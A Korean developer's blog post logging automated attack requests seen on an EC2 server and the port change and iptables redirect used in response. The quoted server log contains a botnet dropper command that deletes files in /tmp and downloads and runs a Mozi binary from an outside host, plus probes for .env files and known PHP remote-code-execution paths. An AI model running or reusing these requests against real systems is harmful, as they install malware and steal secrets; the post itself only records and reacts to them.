[🔧 Back-End Error] #3 / EC2 의도치 않은 요청 차단 / 2021-09-30

# 어떤 에러인가요?

- 배포 환경에서 EC2 서버 로그에 의도치 않은 요청이 찍힌걸 확인

# 에러 메시지

```cli
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms
POST /Autodiscover/Autodiscover.xml 404 0.214 ms - 10
GET /wp-content/plugins/wp-file-manager/readme.txt 404 0.228 ms - 10
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.205 ms - 10
POST /api/jsonws/invoke 404 0.168 ms - 10
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 404 0.199 ms - 10
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.210 ms - 10

GET /?XDEBUG_SESSION_START=phpstorm 200 0.221 ms - 12

POST /mifs/.;/services/LogService 404 0.217 ms - 10
GET /console/ 404 0.225 ms - 10
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms - 10
```

# 에러 핸들링 방법

- 환경 변수로 설정했던 서버 포트인 80을 변경했다. EC2 인바운드 규칙에 새로운 포트를 추가했고, 서버의 환경 변수를 새로 추가한 포트 번호로 변경했다.
- CloudFront는 80번 포트 응답만 HTTPS 로 바꿔주기 때문에, 새롭게 추가한 포트를 80번 포트로 포워딩 시키는 과정이 추가로 필요했다.

```
sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 내가 추가한 포트
```

# 에러 핸들링을 위해 참고한 레퍼런스 링크

[아고라스테이츠](https://github.com/codestates/agora-states/discussions/1567)